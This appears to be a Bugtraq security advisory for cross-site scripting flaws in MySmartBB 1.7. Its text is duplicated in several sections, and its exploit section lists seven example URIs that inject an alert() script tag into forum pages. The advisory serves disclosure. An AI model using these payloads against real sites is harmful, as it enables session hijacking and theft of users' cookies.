MySmartBB Multiple Cross Site Scripting Vulnerabilities
BID:38385
Info
MySmartBB Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 38385 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 24 2010 12:00AM |
| Updated: | Feb 24 2010 04:01PM |
| Credit: | indoushka |
| Vulnerable: |
MySmartBB MySmartBB 1.7 |
| Not Vulnerable: | |
Discussion
MySmartBB Multiple Cross Site Scripting Vulnerabilities
MySmartBB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The issues affect MySmartBB 1.7.0; other versions may also be affected.
MySmartBB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The issues affect MySmartBB 1.7.0; other versions may also be affected.
Exploit / POC
MySmartBB Multiple Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/MySBB/misc.php/>'><ScRiPt>alert(469588561854)</ScRiPt>
http://www.example.com/MySBB/index.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/memberlist.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/new.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/pm.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/register.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/search.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/MySBB/misc.php/>'><ScRiPt>alert(469588561854)</ScRiPt>
http://www.example.com/MySBB/index.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/memberlist.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/new.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/pm.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/register.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
http://www.example.com/MySBB/search.php/>'><ScRiPt>alert(213771818860)</ScRiPt>
Solution / Fix
MySmartBB Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].